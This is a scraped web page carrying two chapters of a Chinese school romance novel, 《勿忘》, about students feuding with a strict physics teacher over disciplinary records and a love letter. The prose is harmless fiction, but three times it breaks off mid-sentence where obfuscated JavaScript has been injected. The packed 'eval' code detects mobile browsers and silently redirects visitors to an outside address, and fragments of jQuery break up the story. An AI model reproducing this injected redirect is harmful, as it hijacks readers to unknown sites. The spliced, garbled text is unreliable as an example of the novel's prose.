那双总是懒散半垂的眼睛此刻格外清明,瞳孔在办公室冷白的灯光下显得更黑,像冻结的湖面,看不出情绪,淡漠如常。 她张了张嘴,音节还未成形—— 忽然,头皮传来细微的刺痛。 他忽然抬手,修长的手指勾住她的发绳,轻轻一扯。 这个动作快得像是错觉,只有发丝拂过颈部的痒意证明它真实发生过。 发丝如瀑般散落肩头。 办公室里没人注意到这个小动作。 空调暖风在头顶嗡嗡吹动,吹散一缕若有若无的青榛子香。 兔耳朵发绳被他扯下,攥在手里。 黑色缎带从他指缝间垂落,是战利品,更是罪证,被他轻轻松开,再捏得更紧。 “您不用看了。”他依然盯着她眼睛,话却是对老师说的。 一字一句,一如既往的散漫放肆,却不容置疑。 “这照片里抽烟的,就是我。” 目光相撞,他的睫毛在眼下投下一小片阴影,黎雾瞬间懂了。 ——他在告诉她:我不需要你为我挡在前面。 “要记过就记,我都认。” …… 这爽快劲儿反倒让杨过噎住了,他扶了扶眼镜,狐疑地问:"那对面这个女生是黎雾吗?" 陈忘野忽然笑了,嗤笑声压着鼻息出来,显得轻浮:“比她漂亮多了。” "陈忘野!你什么态度!" "实话实说的态度。"他耸耸肩,校服领口随着动作滑向一侧,单手插兜,拳头松开,发绳无声地滑进校裤口袋。 他笑了下,尾音懒散,轻飘飘的,“见一面就忘不掉呢。” 窗外的雨声忽然变大,敲打着玻璃,像无数细小的手指在叩门。 已读乱回,没法交流,杨过呼了口气,目光又转向黎雾:"你这头发怎么回事?" "一直都这样。"她懒得理他,面不改色地扯谎,“扎太紧了脱发,索性就披着。” "我告诉你们,"杨过拍案而起,茶杯里的水溅出几滴,"不管你们今天认不认,这个处分都给定了!" …… - 几个小时后,公告栏前。 胡桃踮着脚尖,盯着那张刚贴上的处分通知,长叹一口气:"不是,你激他干嘛啊?这下好了吧,一人一张处分,整整齐齐。" 公告栏上,两张处分通知并排贴着,连盖章的角度都一模一样。 黎雾看着两张处分单,陈忘野的那张干净利落,只有"吸烟"二字;而她的那张,墨迹晕染得像朵乌云。 “我还是第一次知道还有‘知情不报’罪呢?”陈明清啧啧嘴,“真牛,不愧是杨过,法律条文都能现场编。” 处分上的红色墨迹还没干,闪着油腻的光,黎雾叹息,“我可不是激他,是他本来就看我不顺眼。” 说这话时,她的目光不自觉地寻找着那个熟悉的身影,但周遭只有模糊的人影来来往往。 当时在办公室里,她顺着陈忘野的意思,没承认照片里的兔耳朵女生是自己。结果杨过冷笑一声,直接叫来了那个做操时站在她斜前方的外班女生。 这老师还真是正事不干一个,冲在吃瓜第一线,树洞里的每个帖子都看了吧。黎雾想起杨过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474053|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机屏幕上那个熟悉的帖子界面,胃部一阵绞痛。 "来,你看看,"杨过指着照片,"这个戴兔子发绳的,是不是黎雾?" 那个女生低着头,手指绞着校服下摆,支支吾吾说不出话。那个做操时像棵小树一样舒展的女孩,现在又一次缩着肩膀,像被暴雨打蔫的叶子。 黎雾看不下去了:"是我。" 杨过的眼睛顿时亮了起来,像嗅到血腥味的鲨鱼:"刚才为什么不承认?" 他身体前倾,钢笔在处分单上悬停,"是不是存心包庇?" "包庇什么?当时他都没入学..." 她没忍住,话锋突然一转,"不过老师,您翻几个月前的树洞就为查这个,校领导知道您这么敬业吗?" 这句话彻底点燃了杨过的怒火。陈忘野原本懒散地靠在墙边,闻言突然直起身,挡在她身前:"我抽烟是我的事,跟她没关系。" 他单手插兜,另一只手轻轻敲了敲办公桌,指节与木质桌面碰撞发出三声清晰的"叩、叩、叩"。 "第一,"他的声音很冷静,像一把薄刃,"发帖时间是新生报到日当天早上7点。教务处8点才开门。" 指尖在手机屏幕上轻点,他调出当日拍摄的入学通知书,屏幕冷光映在他下颌线上,勾勒出锋利的弧度,"需要我向您科普校规适用范围吗?" 杨过脸色开始发青,钢笔尖在纸上洇出个墨点。 "第二,"他忽然向前半步,阴影笼罩在办公桌上,"您所谓的''包庇''——"手指转向墙上挂着的《学生守则》,"请指出具体条款。如果没记错,校规里没有这项。" 黎雾看见他后颈的肌肉微微绷紧。 "第三,"他突然轻笑一声,从兜里掏出那根兔耳朵发绳拍在桌上,"您认定她包庇的证据,是这个?"黑色缎带在白色办公桌上格外刺眼,"那要不要查查,这根发绳的生产日期是不是也在校规管辖范围内?" 办公室突然静下来,能听见空调的嗡鸣。 "最后,"他后退半步,恢复那副懒散模样,"处分我认。但您要是坚持给她扣帽子——" 话还没说完,杨过手里的钢笔"啪"地重重拍在桌上,打断了他。他面不改色地提笔,大手一挥,给黎雾列了四条罪状: 披头散发,仪容不整; 冲撞师长,目无尊长; 包庇同学,知情不报; 外加一条:疑似早恋。 胡桃曾经说过,黎雾明明成绩好又不惹事,却总被杨过针对。现在她明白了——在杨过眼里,她早就是"问题学生"了。 上课不听讲,物理成绩差,初中时还和高中男生"不清不楚",甚至闹到报警……这些"前科",足够让杨过把她钉在耻辱柱上。 但—— 早恋? 黎雾又看了眼那张照片。拍摄角度刁钻,她仰着头,陈忘野低着头,两人之间的阴影交错,乍一看,有点像在接吻。 帖子标题更是火上浇油:【大灰狼x小白兔,好好嗑】 怪不得。 “服了…”陈忘野站在她身旁,也瞄了一眼照片,忽然轻笑一声,实在荒唐:"抽烟的人是我。" 他顿了顿,声音压低,字字清晰—— "她是来制止我的,不是来亲我的。" 28.情书·遗书 - 《勿忘》【chapter.16 情书·遗书】 - 结果就是又扯皮了半小时,说什么也没用,还是白字黑字,一人一张处分。 一下午,黎雾脑子里都是陈明清的话,“下处分要叫家长的吧,他本来就和爸妈关系不好…唉…” 纠结了一天,黎雾放学的时候去办公室找了班主任老郝。 办公室内,日光灯管嗡嗡作响,在黄昏时分显得格外刺眼。 黎雾站在老郝的办公桌前,“老师我有事和您说。” 老郝从教案中抬起头,眼镜片上反射着电脑屏幕的蓝光:“还是为了抽烟处分的事儿?那个已经定了,改不了。” “其实,”黎雾吸了口气,“他抽烟不是单纯为了抽烟。” “什么?陈忘野?” “对。”黎雾点头,从口袋里掏出手机,点了点,递到老郝面前,“我这里有视频。” 视频开始播放,画面有些晃动。校门口小卖部的老板松开陈忘野的衣领,被他哥哥拽着耳朵拎回店里,能听到男人的声音,“抢学生的钱算什么本事。” 视频播完,老郝摘下眼镜揉了揉鼻梁:"所以你的意思是......" “对,您懂了吧。他是为了抓这个黑心坑人老板,所以才买烟的。” "他根本不会抽烟。"黎雾声音提高了些,又急忙压低,"您看他拿烟的姿势,像会抽烟的人吗?" 视频里的少年正皱着眉头止不住地咳嗽,眼角发红。 知道自己有点牵强,黎雾硬着头皮说,“您懂吧,这个年纪的男生都有种诡异的英雄主义精神,把自己当奥特曼,想拯救世界。” 老郝突然笑了,眼角的皱纹堆叠起来,“这也是你的推测吧。从这段视频也看不出他抽烟是自己想抽,碰巧撞上了这个老板,还是为了抓这个老板故意抽烟。” "但不管是哪一种,"老郝的声音沉了下来,像粉笔头砸在讲台上的闷响,"他抽烟都是既定事实。" “所以说啊,从客观上来说,给他处分就给了。”黎雾话锋一转,“但从主观来说,我认为他没有恶意。” “所以呢?”老郝笑着问。 “所以呢。我是想说您能不能不叫他家长。” “这个年纪的男生也挺敏感的。您叫他家长来,把他臭骂一顿,以为是让他改邪归正,实际是亲手扼杀了一个纯真少年的正义和善良萌芽的种子。” “所以是不怕处分,但怕叫家长?” 黎雾不开玩笑,语气忽地认真了些,“嗯,因为我觉得有的家庭没有那么和谐,一点小事就会成为压倒关系的稻草。” …… 从办公室出来,黎雾脚步轻快了些,她能想象陈忘野的表情,肯定是嗤之以鼻,挑起眉稍,然后用他那标志性的、懒散的腔调说:"多管闲事。" 想到这画面,她没忍住低头笑了下。 有点无奈。 行吧,就当她是,多管闲事吧。 - 连绵的春雨下了好几场,天气却迟迟不见转暖。教室玻璃上总是凝着一层薄薄的水雾,空气里弥漫着潮湿。 课间,谢苍一屁股坐在陈明清的课桌上,拍着大腿狂笑:"哈哈哈哈救命,没想到陈忘野也有今天!" 黎雾抬头瞥了他一眼,立刻又低下头去——自从目睹了谢苍物理考第二后裸奔操场,还像只树袋熊一样挂在陈忘野身上的场景,她现在每次看到谢苍,脑子里都会自动播放那段高清无.码的画面。 据谢苍说,今早他迟到了。早读铃已经响过,他急匆匆往教室赶,远远就看见陈忘野慢悠悠地走在前面,校服外套松垮地搭在肩上,连书包带都只挂了一边。 "不愧是刚拿处分的男人,迟到都这么嚣张。"谢苍当时心想。 两人目光在半空相遇,谢苍立刻从对方淡漠的眼神里读出了同类的气息——那种对校规明目张胆的蔑视。 要知道,谢苍上学期因为翻墙买披萨吃,曾被杨过痛批是"一粒老鼠屎坏了一锅粥"。现在好了,粥里又多了一粒,他莫名有种找到组织的感动。 好巧不巧,今天是杨过看早读。 隔着班门,他那标志性的大嗓门穿透半个走廊,一个物理老师还指导上了语文:"《滕王阁序》第三段,预备——起!" 谢苍和陈忘野要是现在堂而皇之地进去,绝对少不了一顿狂风暴雨般的训斥。以他俩这臭脸程度,八成又得喜提处分大礼包。 有时候谢苍真羡慕陈明清——那小子天生一副狗腿样,装乖卖惨信手拈来,每次都能全身而退。 但谢苍和陈忘野偏偏是同一类人——宁可站直了挨骂,也学不会低头认错。 "这可能就是青春吧。"谢苍在心里给自己配了个悲壮的BGM,"在狂风暴雨中也要挺直脊梁的少年啊!" 想到这里,他三步并作两步追上陈忘野,准备来个兄弟同生共死的壮烈入场—— 他猛地勾住陈忘野的脖子,另一只手已经搭上了班门把手。 谁知陈忘野脖子一歪,像条滑不留手的鱼,轻松挣脱了他的桎梏。还没等谢苍反应过来,就被一股大力拽进了对面的男厕所。 "你...要干嘛?"谢苍后背抵着冰冷的瓷砖,惊恐地看着近在咫尺的陈忘野。 陈忘野一把捂住他的嘴:"嘘。" 晨光从气窗斜斜地照进来,陈忘野的睫毛在脸上投下细碎的阴影。他松开手,弯腰从地上捡起一个破水桶,又塞给谢苍一个拖把。 "一会把书包扔班门口,"他压低声音,笑了下,"然后拿着这些从后门进去,就说我们去做值日了,懂吗?" …… 胡桃听完,眼睛瞪得溜圆:“我今天都没发现你俩迟到了。” 她竖起大拇指,“真是高啊。学到了。” “老子还以为他真不在乎处分不处分呢,居然能想出这种损招儿。”谢苍的嗓门不小,“真够跌份儿的。” 陈忘野正好从后门晃进来,校服袖口卷到手肘,露出线条分明的小臂。他闻言挑眉,“跌份儿?我是饥不择食了吗。”他瞥了眼谢苍,“天天要靠吃处分续命。” “也是哈,你确实不是那种任人宰割的愣头青,肚子里坏水儿多的很。”谢苍点头,“上次那抽烟被记过纯属意外,我都听见了。” “什么什么什么?还有我不知道的?”胡桃猛地抬头。 “对啊,”谢苍来劲了,胳膊肘撑在桌面,“最开始先是老郝找他,说杨过想把照片里的兔耳朵女生叫过去对质,让她指认是不是他。” “你猜他怎么着?”他突然压低声音,再抬高,"二话不说直接认了!” 陈忘野正拉椅子准备坐下,闻言脚步一顿。 谢苍一把揽过他的肩,为兄弟感叹,“这事儿也不能推给女生为难啊是吧。” “嗯。”陈忘野没什么表情应了声,拉开椅子坐下,“杨过这两天盯上我了,我得低调行事。” “不往他枪口上撞。”下节是杨过的物理课,他掏出课本装模作样地摆在桌面,微笑道:“检讨书我也是写得够够的了。” - “哥,你知道不,杨过最喜欢抓的是早恋,多少小情侣都死他手上。暗恋啊,情书啊那些都不行。”陈明清提醒道。 "和我有关?"陈忘野拧开矿泉水瓶,仰头,喉结随着吞咽上下滚动,"我又不写情书。" "是,你是不写情书,不搞暗恋——"陈明清突然压低声音,"但你明骚啊!"他做了个夸张的躲避动作,"以后在他课上可千万别和黎雾拉手亲嘴调情什么的,很危......" "咳——"闻言,陈忘野一口被呛住,低头咳嗽时,肩膀颤动。水珠顺着唇角滑落,被他随手抹去,抬头瞪向陈明清:"滚。" “至于吗哥?”陈明清笑得不行,“这么纯?” …… 物理课上,杨过照本宣科的声音像催眠曲。黎雾强撑着眼皮回头,正对上陈忘野抬起的目光——他正乖巧地坐着,桌面上装模作样地摊着物理课本,底下却压着一本闲书。 日光透过窗帘缝隙,恰好落在一行被荧光笔标记的诗句上: 「我崇拜流浪、变化和幻想,不愿将我的爱钉在地球某处。」 来自《克林索尔的最后夏天》。 黎雾清醒了些,这本书她前两天刚捐到图书角,转眼就不见了,原来是被他给顺走了。 黎雾本想张口说点什么,回头看了眼杨过还是咽了回去,她撕下一角笔记纸,飞快写下: 「你前两天刚被记过,得收敛点。」 纸条在空中划出抛物线,落在陈忘野桌上。他挑眉看完,笔尖在纸上摩挲出沙沙声: 「知道他管的严还给我传纸条?」 字迹飘逸,最后一笔还带着上扬的小尾巴,像是噙着笑写的。 黎雾的耳尖莫名发热,又写: 「没忍住,你居然对黑塞感兴趣?」 「一般。」 「那你对什么感兴趣?」 「这么好奇我?」 「没兴趣你还拿这本书干嘛?」 「你想听什么,对你感兴趣?」 …… 黎雾恼火:「你怎么没一句话正经的。」 她听到他在背后轻笑一声,下一秒纸条又被丢回来。 「谁说我不正经了?」 纸条在两人之间飞来飞去,直到被陈明清半路截胡。他捏着纸条笑得肩膀直抖:"哥,你可真骚啊......"话没说完,纸条就被陈忘野抢了回去。 见她没回,他又在下面补了一句,「我做家教那家的弟弟也喜欢黑塞,随便看看。」 为躲避陈明清的骚扰,陈忘野换个方向扔纸条,结果被陈明清伸手过来一拍,转了方向,"啪"地落在胡桃桌上。 胡桃捏着纸条,侧头看黎雾,八卦的眼亮闪闪的,压低声音,“陈明清都看了,我能看不?” 黎雾无奈:“也没什么特别的…” 得到默许后她迅速展开纸条,突然瞪大眼睛。 有时候黎雾觉得胡桃就像个人形AI,很容易被触发一些关键词。这就被触发了,她猛地抬头,回身问陈忘野,“什么弟弟啊!知夏书院那个?帅不帅。” 上次问陈明清,陈明清都不回答,她一直心痒痒的。 陈忘野没思考,一秒作答,“帅。” “和你比呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474054|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “他吧。” “我靠!!!真的假的???”胡桃没控制住音量。 知道他说话从来不掺假。 胡桃心说比陈忘野还帅那得多帅啊,不得闪瞎她那双钛合金狗眼啊,没想到狗眼还没被闪瞎,耳膜先被震穿了。 "胡桃!" 一声裹挟着怒意的暴喝从讲台炸开,杨过手中的教案"啪"地砸在讲桌上,震得粉笔灰簌簌飘落,连黑板擦都跟着颤了三颤。 胡桃一个激灵从座位上弹起来,后背绷得笔直,像被钉在座位上。她能感觉到全班四十多双眼睛齐刷刷刺在自己背上,耳根烧得发烫。 她和杨过的梁子早就结下了。上学期在食堂后门,她和黎雾坐在操场边上啃冰棍,正说到兴头:"你说他讲课这么烂还那么大排场,真就是人有关系万事通呗..."胡桃当时说得眉飞色舞,冰棍汁融化,顺着指缝往下滴,"我还是喜欢王老师,虽然脾气爆了点..." "不像杨过..." 话音戛然而止。胡桃永远记得那个瞬间——她扭头时正对上杨过阴沉的脸,吓得她三天都没睡好觉,一闭眼全是那双黑漆漆的眼睛。 "我讲课你在后面闲聊什么!"杨过此刻的声音震得玻璃窗嗡嗡作响,"我最痛恨的就是你这种学生!自己不求上进还影响周围,要不要脸面!" 他食指重重指向教室后门,"给我站出去!" 胡桃脸色刷地白了。她平时是出了名的厚脸皮,上课接茬、下课疯闹,被点名批评都能笑嘻嘻的。可此刻她只觉得喉咙发紧——杨过这话确实重了,重得她脑子嗡嗡直响。 "要我说就该按成绩排座位!"杨过还在咆哮,粉笔头砸在讲台上碎成几截,"优生差生混在一起像什么话?男女生更该分开坐!别互相影响!" 黎雾控制不住,"腾"地站起来,椅子腿刮擦地板发出刺耳声响。 就在这时,教室后排传来一声慵懒的轻笑。 "老师,是我影响的她。" 陈忘野慢悠悠推开椅子站起来,校服领口歪歪斜斜地敞着,露出半截锁骨。窗外雾蒙蒙的日光染在他发梢,将那头乱发染得更黑。 他单手插兜站着,明明姿态懒散,脊梁却很直,像棵雪地里倔强倨傲的青松。 "什么?"杨过眉头拧成疙瘩。 "我说——"陈忘野拖长音调,笔尖漫不经心点在桌面,"是我找她说话的。" 他张口就来,笑了下,“她问我问题,我给她讲。” 这句倒也没撒谎,只不过不是物理问题罢了。 杨过脸色稍霁。虽然上次抽烟事件给陈忘野记了过,但面对这个物理满分的优等生,他语气还是不自觉地软了几分:"什么问题?我看看。" 他走过来,陈忘野早就把黑塞的诗集藏好了,他坦荡荡地从桌面拿起物理课本,早有准备般地翻开,修长的手指刚点到某条定律,一个粉色信封突然从书页间滑落。 信封上贴着个爱心贴纸,泛着暧昧的珠光。 一看就是一封情书。 空气瞬间凝固。 无独有偶。 倒霉事儿接二连三。 黎雾倒吸一口凉气,心说这是什么运气啊—— 她认得这封信。 上午课间她们回教室时,正撞见文艺委员红着脸往陈忘野课本里塞东西。当时胡桃还撞她胳膊:“黎黎还好你没什么朋友…要是你朋友和你喜欢一个男生,你可咋办,很难受的。” “尤其是喜欢像陈忘野这样的,你不得与全世界为敌。” “至于吗?”黎雾笑,“全世界?” “诶?你怎么没反驳?”胡桃眨眼。 “我不是反驳了吗?” “重点不是‘陈忘野’吗,你不反驳?” …… 记忆闪回。 下一秒,电光火石间,陈忘野已经撕掉信封角落的署名。 杨过一个箭步冲过来,却被他侧身避开。 "谁写的情书?"杨过声音陡然拔高。 前排某个女生的肩膀明显抖了一下。 "不是情书。"陈忘野指尖一捻,将纸片碾成团。 "粉信封不是情书是什么?谁给的?" 教室静得能听见窗外树叶摩擦的声音。四十多道目光织成密网,将那个粉色信封锁在网中央。 他慢悠悠开口:“不是谁给的,是我写的。” “好啊你,臭小子。”杨过指着他鼻子,“五毒俱全是吧。写给谁的?” “这不是情书。”陈忘野忽然笑了,“这是遗书。” “要不我给您念念?” 他慢条斯理展开信纸,清冽的嗓音在教室里荡开,“世界越来越美了。我独自一人,却很自在。” “我别无所求,只想被阳光晒透。我渴望成熟。准备好死去,准备好重生。” “还需要继续念吗?”他抬眼,眸色冷淡。 这是黑塞的诗。 冷白的光透过他指缝,在信纸上投下斑驳的光影。 当他念到"渴求成为星星,充满诞生,充满腐朽"时,黎雾看见他睫毛在脸上投下细碎的阴影,像振翅欲飞的蝶。 …… 29.樱花·偏爱 - 《勿忘》【chapter.17 樱花·偏爱】 - 再之后,陈忘野美美又得了一个过,罪名是,“冲撞老师,上课念遗书”。 春雨淅淅沥沥地下着,公告栏的玻璃上凝结着细密的水珠。黎雾盯着那张新添的处分书,摇摇头:“记三个大过你就可以直接退学了。” 某人还是不以为意。 他漫不经心地用指节叩了叩公告栏:"我认。" 玻璃框在他指下发出沉闷的响声,"至少比上次''知情不报''那个罪名让我信服。" 回想起刚才物理课上的混乱场面——杨过气得脸色铁青,冲上来要抢那封粉色"遗书"时,黎雾、陈明清和谢苍几个人手忙脚乱地拦着。 谢苍甚至整个人挂在杨过胳膊上,像只树袋熊一样被拖行了两步,嘴里还嚷嚷着:"杨老师消消气!气出皱纹多不值啊!" 最后还是路过的老郝平息了这场闹剧。只不过为了安抚杨过,他们几个还是被罚站在走廊一节课。 "刚才谢谢你啊。"胡桃这会儿才缓过神来,拍了拍胸口,玩笑道:"不过你放心,我不会误会你喜欢我的。" 陈忘野懒洋洋地靠在墙边:"嗯,我挺放心的。" 胡桃突然转头看向黎雾:"你也不会吃醋的对吧?" "我吃哪门子醋?"黎雾莫名其妙。 胡桃正经了些,转头和陈忘野说,“我不知道你对一个人偏爱的时候是什么样,但我也知道你对我和那个送情书的女生都不是什么偏爱,就是一个男人该有的担当。” “只不过现在大部分男的都没有罢了。” 黎雾抬眼看他,“所以我们刚刚陪你出来罚站,也不算亏。” “你倒是自洽。”陈忘野挑眉,“最开始是谁非要扔小纸条的,忘了?” 雨声渐密,叶片在风中沙沙作响。黎雾望着窗外玻璃上蜿蜒的水痕,忽然问:“刚刚你念的那段是黑塞?” 他点头:“嗯。” “背下来了?” "过目不忘。"他答得随意。 “骗人。” "好吧,"他耸耸肩,校服布料摩擦发出轻微的声响,"就那两句是课上刚翻到的,瞬时记忆。" “你很喜欢这两句吗?” “不至于,不过确实有一句是很喜欢的,就是不能背出来,刚刚要是背了就真成情书,洗不清了。” “什么啊?”黎雾好奇地抬眼。 陈忘野慢悠悠地凑近,他身上淡淡的青榛子香混着雨水的味道扑面而来,他盯着她眼睛,眼底映着雨天的微光。 他忽地笑了下,尾音扬起,显得格外散漫,直起身离开,“不告诉你。” “切,小气。”黎雾别过脸。 …… 处分通知前。 黎雾歪头蹙眉,没忍住问:“不过你这个人不是锱铢必较,睚眦必报,一点亏都吃不得吗,怎么最近连吃两个大亏。” “三个。”陈忘野纠正。 哪三个? 黎雾顺着他的目光,望向公告栏上的三张处分通知。 他的目光落脚点在她的那张,眸光缩了缩。 - 雨势越来越大,倒春寒来得凶猛。 谁也没想到—— 一周后,事情急转直下。 校长办公桌上出现了一封匿名信,里面是杨过和家人吃饭的照片——他穿着便服,对面坐着穿附中初中校服的儿子,男孩手里举着一杯比脸还大的扎啤,正仰头豪饮。 照片背面印着一行小字:《未成年人保护法》第五十九条。 这张照片像野火般蔓延,出现在每个年级群、每位老师的办公桌上。曾经被杨过严厉处罚过的学生纷纷冒头,在群里刷屏: "教唆未成年人饮酒?" 杨过在办公室咆哮的声音,隔着门板都听得一清二楚:"尝一口啤酒怎么了?啤酒算什么酒!连度数都没有!" 但很快,第二张照片流传开来——这次男孩手里拿的是白酒,而杨过正笑着看向他。发照片的人只写了四个字: "知情不报?" ——正是当初杨过给黎雾安的罪名。 喝酒是小事儿,送情书是小事儿,迟到早退都算小事儿。 但没人经得住被架在道德的十字架上审判。 这场闹剧最终以杨老师的升职延期告终——没人能经得住被放在显微镜下审视,哪怕是最微小的尘埃,在强光下也会显露出阴影。 黎雾站在走廊,看着办公室里杨过涨红的脸,忽然想起陈忘野那天说的话:"我这个人的人生准则就是,人不犯我我不犯人。" 雨水顺着窗玻璃蜿蜒而下,模糊了窗外的一切。 - 陈忘野的"检讨书"被贴在公告栏的那天,雨停了。 阳光穿过云层,将整个校园照得透亮。公告栏的玻璃上还残留着未干的水珠,折射出细碎的彩虹光圈。 那张检讨书就贴在处分决定旁边,字迹清秀工整——是黎雾写的。 要求很离谱:既然是物理课的检讨,每段都必须引用物理法则。 她是这样写的: 「风吹过走廊的时候,我看见一片樱花瓣摇摇晃晃地飘落。 物理老师说,所有下落的物体都遵循自由落体定律,但我分明看见这片花瓣在空中画出了一道优美的曲线。它轻盈地跳着舞,好像在炫耀自己对物理定律的小小反抗。 这让我想起了自己——一个在物理课上"不够专注"的学生,此刻正被罚站在走廊上。 有趣的是,这片花瓣最终还是落在了地上。或许这就是规则的意义?但我更在意的是它下落的过程——那自由舞动的姿态,那不屈从于重力的倔强。就像爱因斯坦说过的:"想象力比知识更重要。"然而在今天的课堂上,想象力常常比不上一个标准答案的分量。 走廊的窗户上有几道裂纹,阳光透过来的时候,折射出彩虹的颜色。这让我想起一道简单的初中物理题:"为什么天空是蓝色的?"标准答案说这是因为瑞利散射,但我更想知道,在人类发现这个原理之前,诗人们是如何理解这片蓝的。 科学告诉我们"是什么",但不是所有的"为什么"都能在教科书里找到答案。 检讨书上不会写这些,但我知道,这些思考比标准答案更珍贵。 因为真正的物理,不正是带着我们理解这个神奇世界的钥匙吗?而真正的教育,难道不应该是为每个年轻的心灵打开一扇新的窗户,让他们看见知识之外的风景?所谓的"校规校纪",也许不应该是约束思维的牢笼,而应该是保护思考萌芽的温室? 在量子世界里,一切可能性同时存在,直到观测的那一刻。教育何尝不是如此?每个学生都是一个充满无限可能的"波函数",而刻板的教育方式,是否过早地将这些可能性坍缩成了单一的结果? 教室里,下一节课的铃声响起。 而那片樱花瓣,不知道飘到哪里去了。」 “怎么样?我写的检讨有那味儿吗?”黎雾歪头笑。 “嗯。”陈忘野靠在墙边,回答得很懒散。 “看你这表情。是不是真以为我会写个我错了,以后再也不犯了之类的上去呢。” 黎雾忽地倾身一笑,像在邀功的模样,尾巴一甩一甩,“但怎么可能呢。首先我就不是那么不酷的人,其次,就算是为了维持你这个酷酷拽拽的人设,我们也不能下跪求饶啊。” “不觉得不好意思?” 陈忘野难得笑起来,眼睛很亮,弯弯的,含着笑意,“把上课讨论哲学和男人,美化成了‘想象力’和‘求知欲’,得亏杨过耳不聪目也不明。” “有什么不好意思的。” “我写的这些又不是仅限于那节课发生的事情。这是我积攒已久积了两年的想法,总算吐出去了。” 她捋一捋胸口,“憋得我可难受了。” “花瓣也是真的?” “当然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474055|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的。”黎雾打开书,“看,就夹在书里呢。” 胡桃凑过来:“不过这种检讨居然让放上去。” “因为审稿人是咱班语文老师啊,我猜是这篇小检讨深入她心。” “她看出是你写的了?”陈忘野问。 “她倒也没直说。”黎雾模仿语文老师的语气,“就说某些人跟我组了这个互帮互助小组没几天,倒是进步挺大。” “?听着怪讽刺的呢。” 他话说得刻薄,表情却是极柔和的。 陈忘野忽然轻笑出声。 他很少这样笑——往日冷淡厌世的神情褪去,眉眼舒展,眼尾微微上扬,像是春风拂过的桃花,带着少年独有的意气风发。 看得她有一瞬间晃了神。 …… 她忽然想起来杨过事件发酵的那天。 杨过的升职延期,而老郝的“年级主任任命书”被贴在了公告栏上。 那天的天气格外好,天色湛蓝,晴空万里。 学校广播站放着小甜歌,似乎连空气中都冒着粉红泡泡。 “你出现的时候天空都亮了 就连风都甘愿为了你 短暂停留片刻 你的名字旋转着” 那一刻,她站在班级后门。 她在想,自己要是手中有相机就好了,好想记录下这个瞬间。 教室里空荡荡的,同学们都去公告栏看热闹了。 班里只有他一个人。 坐在最后一排靠窗的位置。 春天,窗外樱花开了,他开了窗户,樱花枝条抽得很长,几乎从玻璃窗扎进来,教室外是淡粉色的花海。 风过,花瓣从窗外飘进来,落在他的发梢。 他的发丝微动。 一身纯白校服。 干净清爽,意气风发,眉眼褪去了以往的懒散,闪着些少年独有的锋芒。 和她目光对上,不需要说话,只要一个眼神,互相就能明白。 ——一切都是他的“杰作”。 关于他的特立独行,黎雾曾想用"离经叛道"来形容。 后来发现这词过于肤浅。他不是为了叛逆而叛逆,而是像游弋在洋流中的鲸鱼,有自己的航向。 他的思维就像海面上不断扩散的波纹,每一圈都在挑战既有的边界,却又如此自然,仿佛本该如此。 广播站的小甜歌还在唱—— “风铃正响动不停 是我的心事有了回应 别人猜不透的谜 却被你全部洞悉” “看向你那一刻 眼神交汇过 就感觉你一定懂我” 陈忘野盯着她看了几秒。 像是被人看穿了心思,情理之中,却是意料之外。 他微偏头,忽地笑了,唇角勾着弧度,一双清冷桃花眼眸光流转,打着旋儿,映着漫天的樱花,温柔得不像话。 一秒钟被无限拉长。 那一刻,黎雾忽然觉得,没有相机也没关系。 原来瞳孔也可以当作快门。 将美好印在脑海中。 广播里,小甜歌一如既往的甜腻,却听得人心软软的,热热的—— “我的心思在你面前全都毫无保留 I''m falling in you I''m falling in you 我猜你也听到了 所以才会注视着我” - 课上,黎雾还在走神。 肩膀突然被轻轻戳了戳,她回头,陈忘野递来一张纸条。 「前几天你问我最喜欢黑塞的哪句话。」 显然是认真落笔了,字迹苍穹有力,飘逸非常—— 「全世界的水都会重逢。 北冰洋与尼罗河会在湿云中交融, 这古老美丽的比喻此刻变得神圣。 即使漫游, 每条路都会带我们回家。」